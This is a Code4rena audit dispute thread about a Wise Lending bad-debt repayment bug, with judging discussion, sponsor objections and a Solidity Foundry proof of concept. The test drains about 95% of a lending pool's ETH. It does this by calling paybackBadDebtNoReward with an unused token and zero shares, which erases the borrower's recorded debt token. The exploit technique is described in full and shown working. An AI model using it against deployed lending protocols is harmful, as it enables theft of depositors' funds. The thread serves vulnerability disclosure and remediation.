Wise Lending - Dup1337's results

This looks off and should have had a coded POC Flagging out of caution

GalloDaSballo marked the issue as sufficient quality report

This looks off and should have had a coded POC Flagging out of caution

I didn't get what kind of flag got applied and why it says sufficient quality report even though it clearly does not even has POC and poorly described with false assumptions?

Dbl checking line fo reasoning fails when user deposits large amount and then borrows.

quote: 1a. Prepare big position that will have be destined to have positive badDebt. For sake of the argument, let's assume it's $1M worth of ETH. 1b. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible. 2. Call FeeManager.paybackBadDebtNoReward() on the possition with desired position nft id, USDC token address and 0 shares as input params. 3. Because there is non-zero bad debt, the check will pass, and and the logic will finally reach MainHelper._corePayback(). Because repay is 0 shares, diminishing position size in USDC token will not underflow, and position token will be tried to be removed:

Comment: 1a.) Ok say big position has nftId = 1 1b.) oOk say small position has nftId = 2 NftId 2 now takes more collateral and borrows max: then call paybackBadDebtNoReward with nftId 2.

But since collateral has been deposited and borrowed within non liqudiationr ange (healthstate check active remember) This line here:

updatePositionCurrentBadDebt(
            _nftId
        );

in the beginning will set badDebtPosition[_nft] to 0 meaning it will exit after this line:

if (badDebtPosition[_nftId] == 0) {
    return 0;
 }

and no harm done. On top of that as @vm06007 said no Poc provided so dismissed

trust1995 marked the issue as unsatisfactory: Insufficient proof

@trust1995 , I'm sorry that I didn't provide the PoC before. I provide coded PoC now. It shows that user is able to steal whole protocol funds, due to wrong algoritm in _removePositionData(). I managed to not use very big position and a single token, which makes this issue even easier to perform.

PoC procided below does the following:

1. setup initial state - 2 lenders depositing 100 ETH each, and 1 borrower whose position will have bad debt. For the purpose of this test I chose market crash condition, however using small position that will give no incentives to liquidate it will also work.
2. Position is underwater and is liquidated in order to increase bad debt for user position. This is a prerequisite for being able to trigger bad debt repayment
3. When bad debt repayment is triggered for a token that user didn't use, _removePositionData() removes last token in user borrow tokens. In this case that means that the user doesn't have any tokens in his debt tokens listed.
4. User borrows 95% of ALL ETH that the protocol holds. It's possible, because when performing health check at the end of borrow, all user borrow tokens are iterated through - and remember that we just removed the token.
5. At the end I verify that the user really got the funds, which proves that the issue is real.

// SPDX-License-Identifier: -- WISE --

pragma solidity =0.8.24;

import "./WiseLendingBaseDeployment.t.sol";

contract DebtClearTest is BaseDeploymentTest {
    address borrower = address(uint160(uint(keccak256("alice"))));
    address lender = address(uint160(uint(keccak256("bob"))));
    address lender2 = address(uint160(uint(keccak256("bob2"))));

    uint256 depositAmountETH = 100 ether; // 10 ether
    uint256 depositAmountToken = 10 ether; // 10 ether
    uint256 borrowAmount = 5e18; // 5 ether

    uint256 nftIdLiquidator; // nftId of lender
    uint256 nftIdLiquidatee; // nftId of borrower

    uint256 debtShares;

    function _setupIndividualTest() internal override {
        _deployNewWiseLending(false);

        // set token value for simple calculations
        MOCK_CHAINLINK_2.setValue(1 ether); // 1 token == 1 ETH
        assertEq(MOCK_CHAINLINK_2.latestAnswer(), MOCK_CHAINLINK_ETH_ETH.latestAnswer());
        vm.stopPrank();
        
        // fund lender and borrower
        vm.deal(lender, depositAmountETH);
        vm.deal(lender2, depositAmountETH);
        deal(address(MOCK_WETH), lender, depositAmountETH);
        deal(address(MOCK_ERC20_2), borrower, depositAmountToken * 2);
        deal(address(MOCK_ERC20_1), lender, depositAmountToken * 2);
    }

    function testRemovingToken() public {
        IERC20 WETH = IERC20(LENDING_INSTANCE.WETH_ADDRESS());
                // lender supplies ETH
        vm.startPrank(lender);

        nftIdLiquidator = POSITION_NFTS_INSTANCE.mintPosition();

        // deposit 100 ether into the pool
        LENDING_INSTANCE.depositExactAmountETH{value: depositAmountETH}(nftIdLiquidator);

        vm.stopPrank();

        // prank second provider to make sure that the borrower is able to
        // steal everyone's funds later
        vm.startPrank(lender2);

        uint nftIdfundsProvider = POSITION_NFTS_INSTANCE.mintPosition();

        // deposit 100 ether into the pool
        LENDING_INSTANCE.depositExactAmountETH{value: depositAmountETH}(nftIdfundsProvider);

        vm.stopPrank();

        // borrower supplies collateral token and borrows ETH
        vm.startPrank(borrower);

        MOCK_ERC20_2.approve(address(LENDING_INSTANCE), depositAmountToken * 2);

        nftIdLiquidatee = POSITION_NFTS_INSTANCE.mintPosition();
        
        vm.warp(
            block.timestamp + 10 days
        );

        LENDING_INSTANCE.depositExactAmount( // supply collateral
            nftIdLiquidatee, 
            address(MOCK_ERC20_2), 
            10
        );

        debtShares = LENDING_INSTANCE.borrowExactAmountETH(nftIdLiquidatee, borrowAmount); // borrow ETH

        vm.stopPrank();

        // shortfall event/crash occurs. This is just one of the possibilities of achieving bad debt
        // second is maintaining small position that gives no incentive to liquidate it.
        vm.prank(MOCK_DEPLOYER);
        MOCK_CHAINLINK_2.setValue(0.3 ether);

        // borrower gets partially liquidated
        vm.startPrank(lender);

        MOCK_WETH.approve(address(LENDING_INSTANCE), depositAmountETH);

        LENDING_INSTANCE.liquidatePartiallyFromTokens(
            nftIdLiquidatee,
            nftIdLiquidator, 
            address(MOCK_WETH),
            address(MOCK_ERC20_2),
            debtShares * 2e16 / 1e18 + 1 
        );

        vm.stopPrank();

        // global and user bad debt is increased
        uint256 totalBadDebt = FEE_MANAGER_INSTANCE.totalBadDebtETH();
        uint256 userBadDebt = FEE_MANAGER_INSTANCE.badDebtPosition(nftIdLiquidatee);

        assertGt(totalBadDebt, 0); 
        assertGt(userBadDebt, 0);
        assertEq(totalBadDebt, userBadDebt); // user bad debt and global bad debt are the same

        vm.startPrank(lender);

        MOCK_ERC20_1.approve(address(LENDING_INSTANCE), type(uint256).max);
        MOCK_ERC20_1.approve(address(FEE_MANAGER_INSTANCE), type(uint256).max);
        MOCK_WETH.approve(address(FEE_MANAGER_INSTANCE), type(uint256).max);
        
        // check how much tokens the position that will be liquidated has
        uint256 lb = LENDING_INSTANCE.getPositionBorrowTokenLength(
            nftIdLiquidatee
        );

        assertEq(lb, 1);

        uint256 ethValueBefore = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(MOCK_ERC20_2)
        );

        console.log("ethBefore ", ethValueBefore);

        // **IMPORTANT** this is the core of the issue
        // When bad debt occurs, there are 2 critical checks missing:
        // 1. that the amount to repay is bigger than 0
        // 2. that the token to repay bad debt has the bad debt for user
        // This allows to remove any token from the list of user borrow tokens,
        // because of how finding token to remove algorithm is implemented:
        // it iterates over all the tokens and if it doesn't find matching one
        // until it reaches last, it wrongly assumes that the last token is the
        // one that should be removed.
        // And not checking for amount of repayment allows to skip Solidity underflow 
        // checks on diminishing user bad debt.
        FEE_MANAGER_INSTANCE.paybackBadDebtNoReward(
            nftIdLiquidatee, 
            address(MOCK_ERC20_1), // user doesn't have debt in this token
            0
        );

        uint256 ethValueAfter = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(MOCK_ERC20_2)
        );
        uint256 ethWethValueAfter = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(WETH)
        );
        console.log("ethAfter ", ethValueAfter);

        // assert that the paybackBadDebtNoReward removed token that it shouldn't
        uint256 la = LENDING_INSTANCE.getPositionBorrowTokenLength(
            nftIdLiquidatee
        );
        assertEq(la, 0);

        vm.stopPrank();
        
        uint lendingWethBalance = WETH.balanceOf(address(LENDING_INSTANCE));

        console.log("lb ", lendingWethBalance);
        console.log("bb ", borrower.balance);

        vm.startPrank(borrower);

        // borrow 95% of ALL ETH that the protocol possesses
        // this works, because when calculating health check of a position
        // it iterates through `getPositionBorrowTokenLength()` - and we
        // were able to remove it.
        debtShares = LENDING_INSTANCE.borrowExactAmountETH(nftIdLiquidatee, WETH.balanceOf(address(LENDING_INSTANCE)) * 95 / 100); // borrow ETH

        console.log("lb ", WETH.balanceOf(address(LENDING_INSTANCE)));
        console.log("ba ", borrower.balance);

        // make sure that borrow tokens were not increased
        uint256 la2 = LENDING_INSTANCE.getPositionBorrowTokenLength(
            nftIdLiquidatee
        );
        assertEq(la2, 0);

        // verify that ~95% were taken from the pool and borrower received them
        assertLt(WETH.balanceOf(address(LENDING_INSTANCE)), lendingWethBalance * 6 / 100);
        assertGt(borrower.balance, lendingWethBalance * 94 / 100);

        uint256 ethValueAfter2 = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(MOCK_ERC20_2)
        );
        console.log("ethAfter2 ", ethValueAfter2);
        vm.stopPrank();

        // borrowing doesn't increase user borrow
        assertEq(ethValueAfter, ethValueAfter2);
    }
}

At the end of the test, it's verified that user is in possession of ~95% of the ETH that was initially deposited to the pool.

Confirmed the test passes.

[PASS] testRemovingToken() (gas: 2242360)
Logs:
  ORACLE_HUB_INSTANCE DEPLOYED AT ADDRESS 0x6D93d20285c95BbfA3555c00f5206CDc1D78a239
  POSITION_NFTS_INSTANCE DEPLOYED AT ADDRESS 0x1b5a405a4B1852aA6F7F65628562Ab9af7e2e2e9
  LATEST RESPONSE 1000000000000000000
  ethBefore  300000000000000000
  ethAfter  300000000000000000
  lb  195100000000000000001
  bb  5000000000000000000
  lb  9755000000000000001
  ba  190345000000000000000
  ethAfter2  300000000000000000

The likelihood / impact are in line with high severity. A POC was not initially provided, but the step by step given is deemed sufficient.

trust1995 marked the issue as satisfactory

trust1995 marked the issue as selected for report

@Foon256 or @vonMangoldt can check this again I think, I'll check what kind of code change we need to add in order to prevent this scenario.

The POC is correct but different from the previous presented attack, which was not possible as @vonMangoldt has shown. I don't know about the rules in this case, because the POC has been submitted long after the deadline and is a different attack than submitted before.

• The warden's identification of the root cause is correct
• The severity is correct
• Foon's comment is after PJQA, therefore cannot hold any weight
• If there were different submissions this would have gotten a 50% but for solo finds there is no mechanism for partial scoring.

Summary of the issue

Due to an incorrect logic, it is possible for a user to have all of their debt forgiven by repaying another bad debt position with a non-existing token

Hickuphh3’s input

This issue should’ve been accompanied with a POC, then there would be no disambiguity over its validity and severity.

I agree with the judge’s assessment. The warden correctly identified the root cause of lacking input validation of _poolToken, which allows _removePositionData to incorrectly remove borrowed positions, thus erasing that user’s debt.

The severity of this alone is high, as it effectively allows the user to forgo repaying his debt.

I disagree with the statement that the POC is different from the previous presented attack. It is roughly the same as the presented step-by-step walkthrough, with amplified impact: the user is able to borrow more tokens for free subsequently, without having to repay.

Disregarding the POC that was submitted after the contest, IMO, the line-by-line walkthrough sufficiently proved the issue.

Alex’s input

Facts:

1. paybackBadDebtNoReward can be called with non existant paybacktoken
2. First poolToken bad debt position will be deleted by default
3. Remove position in the original submission is not fully clear, but is implicitly mentioning using _deleteLastPositionBorrowDatafor _removePositionData
4. This will forgive the bad debt and break the system
5. Was disputed due to this

This asserts that the attack cannot be done atomically, that's true 6) The original submission explains that, due to generating bad debt

I believe that the finding has shown a way for bad debt to be forgiven, and that the race condition around "proper" vs "malicious" liquidators is not a major decision factor

I would like to add that the original submission is passable but should have done a better job at: Using only necessary snippets, with comments and tags, Explain each logical step more simply (A calls B, B is pointer to C, C is doing X)

I believe the Root cause and the attack was shown in the original submission and as such believe the finding to be valid and high severity

Dan’s Input

I think this one should be held as invalid due to this ruling: https://docs.code4rena.com/awarding/judging-criteria/supreme-court-decisions-fall-2023#verdict-standardization-of-additional-warden-output-during-qa Decisions from the inaugural Supreme Court session, Fall 2023 | Cod... As far as I can see, the swaying information was the POC added after the submission deadline. It doesn't matter if the issue was technically correct. The quality was not high enough to lead the judge to mark it as satisfactory without the additional information. @Alex The Entreprenerd thoughts?

Alex: I don't think the POC added any additional info that was not present in the original submission

Invalid token causes default pop of real token

That was identified in the original submission

I think the dispute by the sponsor was incorrect as asserting that this cannot be done atomically doesn't justify the bug of mismatch address causing defaults being forgiven

I think the POC added context over content

Dan: Apologies guys... didn't read it carefully enough on the first pass. I've re-evaluated and while I don't like the quality of the original submission and would probably have invalidated it myself, I'm willing to align with the two of you and leave it as high risk. The attack is valid and the nuance is in interpreting rules, not validity.

Additional input from the Sponsor (Requested by the Lead Judge)

Alex asked: For issue 215: I'd like to ask you what you think was invalid about the first submission and what's specifically makes the original submission different from the POC sent after?

We understand that the quality of the original submission is sub optimal

Sponsor replied: Dbl checking line fo reasoning fails when user deposits large amount and then borrows.

1a. Prepare big position that will have be destined to have positive badDebt. For sake of the argument, let's assume it's $1M worth of ETH. 1b. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible. Call FeeManager.paybackBadDebtNoReward() on the possition with desired position nft id, USDC token address and 0 shares as input params. Because there is non-zero bad debt, the check will pass, and and the logic will finally reach MainHelper._corePayback(). Because repay is 0 shares, diminishing position size in USDC token will not underflow, and position token will be tried to be removed:

Comment: 1a.) Ok say big position has nftId = 1 1b.) Ok say small position has nftId = 2 NftId 2 now takes more collateral and borrows max: then call paybackBadDebtNoReward with nftId 2.

But since collateral has been deposited and borrowed within non liqudiationr ange (healthstate check active remember) This line here:

updatePositionCurrentBadDebt( _nftId ); in the beginning will set badDebtPosition[_nft] to 0 meaning it will exit after this line:

if (badDebtPosition[_nftId] == 0) { return 0; } and no harm done. Alex: This makes sense as there is no way to attack the protocol in the same tx However, if the price where to fall, then wouldn't the attacker be able to apply the attack mentioned in the original submission?

Sponsor: they will be liquidated beforehand. Thats why the submittor mentioned it is necessary to create a position which is small hence no incentivize to liquidate. Again the way described by submittor does not work as pointed out in github and here again

Alex: My understanding of the issue is that by specifying a non-existing token for liquidation, the first token is popped without paying for the position debt

Am I missing something about this?

Sponsor 1: not for liquidation for payingback edit: paybackBadDebtNoReward only works for positions with bad debt but bad debt usually accrues with debt and no collateral only time it doesnt if collateral is so small gas is more expensive than to liquidate beforehand while price from collateral is falling

Sponsor 2: for payingback bad debt positions with paybackBadDebtNoReward() We added this feature to be able to remove bad debt from the protocol. User can do it and get a little incentive with paybackBadDebtForToken() or a generous donor/ the team can pay it back for free with paybackBadDebtNoReward() paybackBadDebtForToken() is only possible if there is some collateral left in the bad debt position nft.

Sponsor 1: the for free part is technically not needed anymore anyway since we opend paying back for everyone

Alex: Ok, and what do you think changed from the original submission and the POC that makes the finding different?

Sponsor 1: you mean the PoC after deadline which is therfor not counted? He just manipulates price so that no one has the chance to liquidate Sponsor 1 continuation: If we look at the point from the poc provided AFTER deadline (invalid therfor anyway) then we conclude its an expectedValue question. Attacker either donates liquidation incentives to liquidators and therfor loses money (10%) Or gains money if hes lucky that he doesnt get liquidated within a 10-20% price difference and gets to call the other function first. So if you think as an attacker the probability that eth e.g drops 20% in one chainlink update ( afaik never happend before) or that during a 20% drawdown liquidators dont get put into a block and this likelyhood is bigger than 5% OVERALL then you would make money. The chance of liquidators not picking up free money i would say is more in the low 0.001% estimation rather than 5%.

So on average its highly minus -ev to do that

Alex: Good points, thank you for your thoughts!

What are your considerations about the fact that the attacker could just participate in the MEV race, allowing themselves to either front-run or be the first to self-liquidate as a means to enact the attack?

Shouldn't the system ideally prevent this scenario from ever being possible?

Sponsor 3: I'll let my devs comment on your question about the attacker participating as a liquidator, but as far as the last part about "shouldn't the system prevent"

I do not believe our position on this finding is that it's objectively invalid. In fact I'm sure we have already patched it for our live code which is already deployed on Arbitrum. Our position is that, per the C4 rules the submission is invalid for this specific competitive audit Feb 19th - March 11th and should not be listed in the findings or receive rewards, as it would be unfair to take away money from the other wardens who did submit findings in the time frame given. That being said, we are willing to accept it as a medium finding as a compromise. Sponsor 1: youre welcome . The attack does not start with liquidating it is stopped by liquidating (including if the attacker liquidates) (if its in time relating to liquidation incentive vs distance between collateral in debt in percentage)

thats why in a poc you need to manipualte price instantly a great deal without being liquidated (doesnt matter by whom)

Deliberation

We believe that the dispute from the Sponsor comes from a misunderstanding of the submission which ultimately shows an incorrect logic when dealing with liquidations

While the specifics of the submission leave a lot to be desired, the original submission did identify the root cause, this root cause can be weaponized in a myriad of ways, and ultimately gives the chance to an underwater borrower to get a long forgiven

For this reason we believe the finding to be a High Severity finding

Additional Context by the Lead Judge

We can all agree that a POC of higher quality should have been sent, that said our objective at C4 is to prevent real exploits, over a sufficiently long span of time, dismissing barely passable findings would cause more exploits, which will cause real damage to Projects and People using them as well as taint the reputation of C4 as a place where “No stone is left unturned”

I would recommend the staff to look into ways to penalize these types of findings (for example give a bonus to the judge as an extensive amount of time was necessary to prove this finding)

But I fail to see how dismissing this report due to a lack of POC would help the Sponsor, and Code4rena over the long term

For transparency and per conversation with the sponsors, see here for the Wise Lending team's mitigation.

GalloDaSballo marked the issue as duplicate of #237

GalloDaSballo marked the issue as insufficient quality report

trust1995 marked the issue as partial-50

trust1995 marked the issue as full credit

trust1995 marked the issue as satisfactory

GalloDaSballo marked the issue as high quality report

GalloDaSballo marked the issue as sufficient quality report

trust1995 marked the issue as grade-a

@vm06007 Would like team responses for each suggestion in here as it is the best report.

trust1995 marked the issue as selected for report

[L-02] is not necessarily valid, it depends on sponsor's interpretation of slippage value.

L-04 is reduced to NC severity. L-05 belongs to analysis report because it is a centralization risk